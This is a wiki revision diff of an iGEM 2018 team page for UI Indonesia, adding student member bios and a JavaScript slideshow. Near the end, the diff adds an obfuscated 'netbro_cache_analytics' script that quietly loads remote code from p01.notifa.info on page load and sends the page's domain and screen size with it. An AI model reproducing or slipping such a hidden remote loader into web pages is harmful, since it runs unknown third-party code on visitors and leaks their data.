+ | <div class="col" style="vertical-align:middle"><b>Galuh Widyastuti</b><br><em>Policy and Practice Division</em><br>Galuh is a second-year undergraduate student majoring Environmental Health. She is keen on traveling (check #galdoestravel on Instagram!) and she has even learnt six foreign languages for that. She would refuse coffee and tea as she cannot consume caffeine.</div> | ||
+ | |||
+ | </div> | ||
+ | |||
+ | <div class="mySlides fade col-container" height="100%"> | ||
+ | <div class="numbertext">12 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/d/d9/T--UI_Indonesia--memberglory.jpg" style="width:300px"></span></div> | ||
+ | <div class="col" style="vertical-align:middle"><b>Glory Lamria</b><br><em>Policy and Practice Division</em><br>Glory is an energetic third-year student majoring Bio-Process Engineering who has powerful combination of organizational, public speaking, and management skills. She is highly concerned on global issues and loves to discuss topics related to Sustainable Development Goals (SDGs) 2030. In her spare time, she would read books, travel, dance, and act in theatres.</div> | ||
+ | </div> | ||
+ | |||
+ | <div class="mySlides fade col-container" height="100%"> | ||
+ | <div class="numbertext">13 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/4/47/T--UI_Indonesia--memberedwin.jpg" style="width:300px"></span></div> | ||
+ | <div class="col" style="vertical-align:middle"><b>Edwin Lawisan</b><br><em>Web - Wiki Design and Development</em><br>Edwin is a sophomore majoring Information Systems. He is passionate in Finance, Investment Banking, and Business Intelligence. Edwin is an avid non-fiction book peruser. His favourite books include Why The Rich are Getting Richer By Robert Kiyosaki and Thinking, Fast and Slow by Dale Carnegie.</div> | ||
+ | </div> | ||
+ | |||
+ | <div class="mySlides fade col-container" height="100%"> | ||
+ | <div class="numbertext">14 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/5/5a/T--UI_Indonesia--membermitta.jpg" style="width:300px"></span></div> | ||
+ | <div class="col" style="vertical-align:middle"><b>Hema Mitta Kalyani</b><br><em>Web - Wiki Design and Development</em><br>Mitta is a passionate second-year undergraduate majoring Computer Science. Her all-time favorite number is 7. She loves being on her own, but that doesn’t mean she feels lonely because she is surrounded by good friends. She could also use a lot of sleep, probably to escape from reality.</div> | ||
+ | </div> | ||
+ | |||
+ | |||
+ | <a class="prev" onclick="plusSlides(-1)">❮</a> | ||
+ | <a class="next" onclick="plusSlides(1)">❯</a> | ||
+ | |||
+ | </div> | ||
+ | <br> | ||
+ | |||
+ | <div style="text-align:center"> | ||
+ | <span class="dot" onclick="currentSlide(1)"></span> | ||
+ | <span class="dot" onclick="currentSlide(2)"></span> | ||
+ | <span class="dot" onclick="currentSlide(3)"></span> | ||
+ | <span class="dot" onclick="currentSlide(4)"></span> | ||
+ | <span class="dot" onclick="currentSlide(5)"></span> | ||
+ | <span class="dot" onclick="currentSlide(6)"></span> | ||
+ | <span class="dot" onclick="currentSlide(7)"></span> | ||
+ | <span class="dot" onclick="currentSlide(8)"></span> | ||
+ | <span class="dot" onclick="currentSlide(9)"></span> | ||
+ | <span class="dot" onclick="currentSlide(10)"></span> | ||
+ | <span class="dot" onclick="currentSlide(11)"></span> | ||
+ | <span class="dot" onclick="currentSlide(12)"></span> | ||
+ | <span class="dot" onclick="currentSlide(13)"></span> | ||
+ | <span class="dot" onclick="currentSlide(14)"></span> | ||
+ | </div> | ||
+ | <br><br><br> | ||
+ | <script> | ||
+ | var slideIndex = 1; | ||
+ | showSlides(slideIndex); | ||
+ | |||
+ | function plusSlides(n) { | ||
+ | showSlides(slideIndex += n); | ||
+ | } | ||
+ | |||
+ | function currentSlide(n) { | ||
+ | showSlides(slideIndex = n); | ||
+ | } | ||
+ | |||
+ | function showSlides(n) { | ||
+ | var i; | ||
+ | var slides = document.getElementsByClassName("mySlides"); | ||
+ | var dots = document.getElementsByClassName("dot"); | ||
+ | if (n > slides.length) {slideIndex = 1} | ||
+ | if (n < 1) {slideIndex = slides.length} | ||
+ | for (i = 0; i < slides.length; i++) { | ||
+ | slides[i].style.display = "none"; | ||
+ | } | ||
+ | for (i = 0; i < dots.length; i++) { | ||
+ | dots[i].className = dots[i].className.replace(" active", ""); | ||
+ | } | ||
+ | slides[slideIndex-1].style.display = "block"; | ||
+ | dots[slideIndex-1].className += " active"; | ||
+ | } | ||
+ | </script> | ||
</div> | </div> | ||
+ | |||
+ | |||
+ | |||
+ | <!--------------------------------------------------------------------------------------> | ||
+ | |||
+ | |||
+ | |||
<!-- Footer --> | <!-- Footer --> | ||
<footer class="w3-center w3-green w3-padding-64 w3-opacity w3-hover-opacity-off"> | <footer class="w3-center w3-green w3-padding-64 w3-opacity w3-hover-opacity-off"> | ||
<div class="w3-xlarge w3-section">Team UI Indonesia<br> | <div class="w3-xlarge w3-section">Team UI Indonesia<br> | ||
− | <i class="fa fa-envelope w3-hover-opacity"></i>& | + | <i class="fa fa-envelope w3-hover-opacity"></i>  igemui2018@gmail.com |
</div> | </div> | ||
</footer> | </footer> | ||
Line 296: | Line 867: | ||
} | } | ||
</script> | </script> | ||
− | </body> | + | <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "p01.notifa.info/3fsmd3/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582PbDUVNc7V%2bdbcPk%2b5msPmDduFDlWhzSmHfnZ7BSFwNANtX0%2fFPO3kWhGCkn8mbiw1uDpEvaYujUyKinnjgaZQTSYcVZuPhliI5c4sXDSzPA20rCpFJdlpW4xSkRZFKUH2zHGdP%2fS5g1Z85a1L%2b%2bujeeNv4NSWkDyAJgKtX0cuDSMBEgZmLOs%2b1U5j4ZNxmmtXZ081Q4Oj1btB2r9FOgvQe5QtXlHEDuOJmiNKTUqX7OFjxYYA7rq3T4T6X9eVUP7WUi8SbfisSQv%2f9JkMmBWUmZ7wsmA4ompYzwvDf4eZYvhvBZCOWRGtA7KYS7hNiB5ya6cLBo%2fAlTgEwDFDSCscsFvoc%2f22CY9LTc24E5JGuvZ%2byfyf5peBKZCf0Ek1gLp3dWggWdZN5TgcM%2fxLM%2fgCaNQPJkOm6bDTzOAaT5dQhspL%2flbkm%2bs%2bp%2bWTGcphUgTKGIGBJwbDgAysKpfAao7z9qDTQ6mZwdPOXp5vBv%2fw9S2RwWDHcYG7ZuK2x9LCxlbDgAyy6T77L%2fL1olfIaz59izNST7tUSpGr27mtjm17ZAJ6MA8cuyKhNdBAgqRr%2bzgA%3d%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body> |
+ | |||
+ | </p> | ||
+ | <!-- | ||
+ | NewPP limit report | ||
+ | CPU time usage: 0.005 seconds | ||
+ | Real time usage: 0.006 seconds | ||
+ | Preprocessor visited node count: 9/1000000 | ||
+ | Preprocessor generated node count: 42/1000000 | ||
+ | Post‐expand include size: 41/2097152 bytes | ||
+ | Template argument size: 0/2097152 bytes | ||
+ | Highest expansion depth: 2/40 | ||
+ | Expensive parser function count: 0/100 | ||
+ | --> | ||
+ | |||
+ | <!-- Saved in parser cache with key 2018_igem_org:pcache:idhash:5537-0!*!*!*!*!*!* and timestamp 20181007195205 and revision id 218210 | ||
+ | --> | ||
+ | </div> <div class="visualClear"></div> | ||
+ | </div> | ||
+ | </div> | ||
+ | |||
+ | </div> | ||
+ | </div> | ||
</html> | </html> |
Revision as of 16:40, 8 October 2018
<!DOCTYPE html>